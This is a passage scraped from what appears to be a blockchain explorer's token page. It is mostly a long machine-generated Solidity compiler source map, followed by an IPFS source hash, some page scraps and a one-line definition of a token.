;7005:74;;7088:93;7177:3;7088:93;:::i;:::-;7206:2;7201:3;7197:12;7190:19;;6995:220;;;:::o;7221:366::-;7363:3;7384:67;7448:2;7443:3;7384:67;:::i;:::-;7377:74;;7460:93;7549:3;7460:93;:::i;:::-;7578:2;7573:3;7569:12;7562:19;;7367:220;;;:::o;7593:366::-;7735:3;7756:67;7820:2;7815:3;7756:67;:::i;:::-;7749:74;;7832:93;7921:3;7832:93;:::i;:::-;7950:2;7945:3;7941:12;7934:19;;7739:220;;;:::o;7965:366::-;8107:3;8128:67;8192:2;8187:3;8128:67;:::i;:::-;8121:74;;8204:93;8293:3;8204:93;:::i;:::-;8322:2;8317:3;8313:12;8306:19;;8111:220;;;:::o;8337:118::-;8424:24;8442:5;8424:24;:::i;:::-;8419:3;8412:37;8402:53;;:::o;8461:112::-;8544:22;8560:5;8544:22;:::i;:::-;8539:3;8532:35;8522:51;;:::o;8579:222::-;8672:4;8710:2;8699:9;8695:18;8687:26;;8723:71;8791:1;8780:9;8776:17;8767:6;8723:71;:::i;:::-;8677:124;;;;:::o;8807:210::-;8894:4;8932:2;8921:9;8917:18;8909:26;;8945:65;9007:1;8996:9;8992:17;8983:6;8945:65;:::i;:::-;8899:118;;;;:::o;9023:313::-;9136:4;9174:2;9163:9;9159:18;9151:26;;9223:9;9217:4;9213:20;9209:1;9198:9;9194:17;9187:47;9251:78;9324:4;9315:6;9251:78;:::i;:::-;9243:86;;9141:195;;;;:::o;9342:419::-;9508:4;9546:2;9535:9;9531:18;9523:26;;9595:9;9589:4;9585:20;9581:1;9570:9;9566:17;9559:47;9623:131;9749:4;9623:131;:::i;:::-;9615:139;;9513:248;;;:::o;9767:419::-;9933:4;9971:2;9960:9;9956:18;9948:26;;10020:9;10014:4;10010:20;10006:1;9995:9;9991:17;9984:47;10048:131;10174:4;10048:131;:::i;:::-;10040:139;;9938:248;;;:::o;10192:419::-;10358:4;10396:2;10385:9;10381:18;10373:26;;10445:9;10439:4;10435:20;10431:1;10420:9;10416:17;10409:47;10473:131;10599:4;10473:131;:::i;:::-;10465:139;;10363:248;;;:::o;10617:419::-;10783:4;10821:2;10810:9;10806:18;10798:26;;10870:9;10864:4;10860:20;10856:1;10845:9;10841:17;10834:47;10898:131;11024:4;10898:131;:::i;:::-;10890:139;;10788:248;;;:::o;11042:419::-;11208:4;11246:2;11235:9;11231:18;11223:26;;11295:9;11289:4;11285:20;11281:1;11270:9;11266:17;11259:47;11323:131;11449:4;11323:131;:::i;:::-;11315:139;;11213:248;;;:::o;11467:419::-;11633:4;11671:2;11660:9;11656:18;11648:26;;11720:9;11714:4;11710:20;11706:1;11695:9;11691:17;11684:47;11748:131;11874:4;11748:131;:::i;:::-;11740:139;;11638:248;;;:::o;11892:419::-;12058:4;12096:2;12085:9;12081:18;12073:26;;12145:9;12139:4;12135:20;12131:1;12120:9;12116:17;12109:47;12173:131;12299:4;12173:131;:::i;:::-;12165:139;;12063:248;;;:::o;12317:419::-;12483:4;12521:2;12510:9;12506:18;12498:26;;12570:9;12564:4;12560:20;12556:1;12545:9;12541:17;12534:47;12598:131;12724:4;12598:131;:::i;:::-;12590:139;;12488:248;;;:::o;12742:419::-;12908:4;12946:2;12935:9;12931:18;12923:26;;12995:9;12989:4;12985:20;12981:1;12970:9;12966:17;12959:47;13023:131;13149:4;13023:131;:::i;:::-;13015:139;;12913:248;;;:::o;13167:222::-;13260:4;13298:2;13287:9;13283:18;13275:26;;13311:71;13379:1;13368:9;13364:17;13355:6;13311:71;:::i;:::-;13265:124;;;;:::o;13395:332::-;13516:4;13554:2;13543:9;13539:18;13531:26;;13567:71;13635:1;13624:9;13620:17;13611:6;13567:71;:::i;:::-;13648:72;13716:2;13705:9;13701:18;13692:6;13648:72;:::i;:::-;13521:206;;;;;:::o;13733:214::-;13822:4;13860:2;13849:9;13845:18;13837:26;;13873:67;13937:1;13926:9;13922:17;13913:6;13873:67;:::i;:::-;13827:120;;;;:::o;13953:129::-;13987:6;14014:20;;:::i;:::-;14004:30;;14043:33;14071:4;14063:6;14043:33;:::i;:::-;13994:88;;;:::o;14088:75::-;14121:6;14154:2;14148:9;14138:19;;14128:35;:::o;14169:311::-;14246:4;14336:18;14328:6;14325:30;14322:2;;;14358:18;;:::i;:::-;14322:2;14408:4;14400:6;14396:17;14388:25;;14468:4;14462;14458:15;14450:23;;14251:229;;;:::o;14486:99::-;14538:6;14572:5;14566:12;14556:22;;14545:40;;;:::o;14591:169::-;14675:11;14709:6;14704:3;14697:19;14749:4;14744:3;14740:14;14725:29;;14687:73;;;;:::o;14766:305::-;14806:3;14825:20;14843:1;14825:20;:::i;:::-;14820:25;;14859:20;14877:1;14859:20;:::i;:::-;14854:25;;15013:1;14945:66;14941:74;14938:1;14935:81;14932:2;;;15019:18;;:::i;:::-;14932:2;15063:1;15060;15056:9;15049:16;;14810:261;;;;:::o;15077:848::-;15138:5;15145:4;15169:6;15160:15;;15193:5;15184:14;;15207:712;15228:1;15218:8;15215:15;15207:712;;;15323:4;15318:3;15314:14;15308:4;15305:24;15302:2;;;15332:18;;:::i;:::-;15302:2;15382:1;15372:8;15368:16;15365:2;;;15797:4;15790:5;15786:16;15777:25;;15365:2;15847:4;15841;15837:15;15829:23;;15877:32;15900:8;15877:32;:::i;:::-;15865:44;;15207:712;;;15150:775;;;;;;;:::o;15931:281::-;15989:5;16013:23;16031:4;16013:23;:::i;:::-;16005:31;;16057:25;16073:8;16057:25;:::i;:::-;16045:37;;16101:104;16138:66;16128:8;16122:4;16101:104;:::i;:::-;16092:113;;15995:217;;;;:::o;16218:1073::-;16272:5;16463:8;16453:2;;16484:1;16475:10;;16486:5;;16453:2;16512:4;16502:2;;16529:1;16520:10;;16531:5;;16502:2;16598:4;16646:1;16641:27;;;;16682:1;16677:191;;;;16591:277;;16641:27;16659:1;16650:10;;16661:5;;;16677:191;16722:3;16712:8;16709:17;16706:2;;;16729:18;;:::i;:::-;16706:2;16778:8;16775:1;16771:16;16762:25;;16813:3;16806:5;16803:14;16800:2;;;16820:18;;:::i;:::-;16800:2;16853:5;;;16591:277;;16977:2;16967:8;16964:16;16958:3;16952:4;16949:13;16945:36;16927:2;16917:8;16914:16;16909:2;16903:4;16900:12;16896:35;16880:111;16877:2;;;17033:8;17027:4;17023:19;17014:28;;17068:3;17061:5;17058:14;17055:2;;;17075:18;;:::i;:::-;17055:2;17108:5;;16877:2;17148:42;17186:3;17176:8;17170:4;17167:1;17148:42;:::i;:::-;17133:57;;;;17222:4;17217:3;17213:14;17206:5;17203:25;17200:2;;;17231:18;;:::i;:::-;17200:2;17280:4;17273:5;17269:16;17260:25;;16278:1013;;;;;;:::o;17297:348::-;17337:7;17360:20;17378:1;17360:20;:::i;:::-;17355:25;;17394:20;17412:1;17394:20;:::i;:::-;17389:25;;17582:1;17514:66;17510:74;17507:1;17504:81;17499:1;17492:9;17485:17;17481:105;17478:2;;;17589:18;;:::i;:::-;17478:2;17637:1;17634;17630:9;17619:20;;17345:300;;;;:::o;17651:96::-;17688:7;17717:24;17735:5;17717:24;:::i;:::-;17706:35;;17696:51;;;:::o;17753:90::-;17787:7;17830:5;17823:13;17816:21;17805:32;;17795:48;;;:::o;17849:126::-;17886:7;17926:42;17919:5;17915:54;17904:65;;17894:81;;;:::o;17981:77::-;18018:7;18047:5;18036:16;;18026:32;;;:::o;18064:86::-;18099:7;18139:4;18132:5;18128:16;18117:27;;18107:43;;;:::o;18156:307::-;18224:1;18234:113;18248:6;18245:1;18242:13;18234:113;;;18333:1;18328:3;18324:11;18318:18;18314:1;18309:3;18305:11;18298:39;18270:2;18267:1;18263:10;18258:15;;18234:113;;;18365:6;18362:1;18359:13;18356:2;;;18445:1;18436:6;18431:3;18427:16;18420:27;18356:2;18205:258;;;;:::o;18469:320::-;18513:6;18550:1;18544:4;18540:12;18530:22;;18597:1;18591:4;18587:12;18618:18;18608:2;;18674:4;18666:6;18662:17;18652:27;;18608:2;18736;18728:6;18725:14;18705:18;18702:38;18699:2;;;18755:18;;:::i;:::-;18699:2;18520:269;;;;:::o;18795:281::-;18878:27;18900:4;18878:27;:::i;:::-;18870:6;18866:40;19008:6;18996:10;18993:22;18972:18;18960:10;18957:34;18954:62;18951:2;;;19019:18;;:::i;:::-;18951:2;19059:10;19055:2;19048:22;18838:238;;;:::o;19082:233::-;19121:3;19144:24;19162:5;19144:24;:::i;:::-;19135:33;;19190:66;19183:5;19180:77;19177:2;;;19260:18;;:::i;:::-;19177:2;19307:1;19300:5;19296:13;19289:20;;19125:190;;;:::o;19321:180::-;19369:77;19366:1;19359:88;19466:4;19463:1;19456:15;19490:4;19487:1;19480:15;19507:180;19555:77;19552:1;19545:88;19652:4;19649:1;19642:15;19676:4;19673:1;19666:15;19693:180;19741:77;19738:1;19731:88;19838:4;19835:1;19828:15;19862:4;19859:1;19852:15;19879:180;19927:77;19924:1;19917:88;20024:4;20021:1;20014:15;20048:4;20045:1;20038:15;20065:117;20174:1;20171;20164:12;20188:117;20297:1;20294;20287:12;20311:117;20420:1;20417;20410:12;20434:117;20543:1;20540;20533:12;20557:102;20598:6;20649:2;20645:7;20640:2;20633:5;20629:14;20625:28;20615:38;;20605:54;;;:::o;20665:102::-;20707:8;20754:5;20751:1;20747:13;20726:34;;20716:51;;;:::o;20773:222::-;20913:34;20909:1;20901:6;20897:14;20890:58;20982:5;20977:2;20969:6;20965:15;20958:30;20879:116;:::o;21001:221::-;21141:34;21137:1;21129:6;21125:14;21118:58;21210:4;21205:2;21197:6;21193:15;21186:29;21107:115;:::o;21228:225::-;21368:34;21364:1;21356:6;21352:14;21345:58;21437:8;21432:2;21424:6;21420:15;21413:33;21334:119;:::o;21459:177::-;21599:29;21595:1;21587:6;21583:14;21576:53;21565:71;:::o;21642:227::-;21782:34;21778:1;21770:6;21766:14;21759:58;21851:10;21846:2;21838:6;21834:15;21827:35;21748:121;:::o;21875:182::-;22015:34;22011:1;22003:6;21999:14;21992:58;21981:76;:::o;22063:224::-;22203:34;22199:1;22191:6;22187:14;22180:58;22272:7;22267:2;22259:6;22255:15;22248:32;22169:118;:::o;22293:223::-;22433:34;22429:1;22421:6;22417:14;22410:58;22502:6;22497:2;22489:6;22485:15;22478:31;22399:117;:::o;22522:224::-;22662:34;22658:1;22650:6;22646:14;22639:58;22731:7;22726:2;22718:6;22714:15;22707:32;22628:118;:::o;22752:122::-;22825:24;22843:5;22825:24;:::i;:::-;22818:5;22815:35;22805:2;;22864:1;22861;22854:12;22805:2;22795:79;:::o;22880:122::-;22953:24;22971:5;22953:24;:::i;:::-;22946:5;22943:35;22933:2;;22992:1;22989;22982:12;22933:2;22923:79;:::o

Swarm Source

ipfs://046e666953a0514d70a98e050d8a1ee85e84f4c23021fedacddd869b06029322
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.